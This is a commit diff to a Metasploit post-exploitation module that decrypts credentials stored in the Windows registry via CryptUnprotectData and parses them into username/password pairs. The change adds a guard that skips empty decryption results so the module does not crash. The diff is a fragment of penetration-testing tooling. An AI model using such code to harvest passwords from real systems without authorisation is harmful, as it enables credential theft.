commit
df83114f0b
|
@ -319,8 +319,15 @@ class Metasploit3 < Msf::Post
|
||||||
if val_arr.include?(hash)
|
if val_arr.include?(hash)
|
||||||
data = registry_getvaldata(regpath, hash)
|
data = registry_getvaldata(regpath, hash)
|
||||||
dec = decrypt_reg(url, data)
|
dec = decrypt_reg(url, data)
|
||||||
|
|
||||||
|
# If CryptUnprotectData fails, decrypt_reg() will return "", and unpack() will end up
|
||||||
|
# returning an array of nils. If this happens, we can cause an "undefined method
|
||||||
|
# `+' for NilClass." when we try to calculate the offset, and this causes the module to die.
|
||||||
|
next if dec.empty?
|
||||||
|
|
||||||
#decode data and add to creds array
|
#decode data and add to creds array
|
||||||
header = dec.unpack("VVVVVV")
|
header = dec.unpack("VVVVVV")
|
||||||
|
|
||||||
offset = header[0] + header[1] #offset to start of data
|
offset = header[0] + header[1] #offset to start of data
|
||||||
cnt = header[5]/2 # of username/password combinations
|
cnt = header[5]/2 # of username/password combinations
|
||||||
secrets = dec[offset,dec.length-(offset + 1)].split("\x00\x00")
|
secrets = dec[offset,dec.length-(offset + 1)].split("\x00\x00")
|
||||||
|
|
Loading…
Reference in New Issue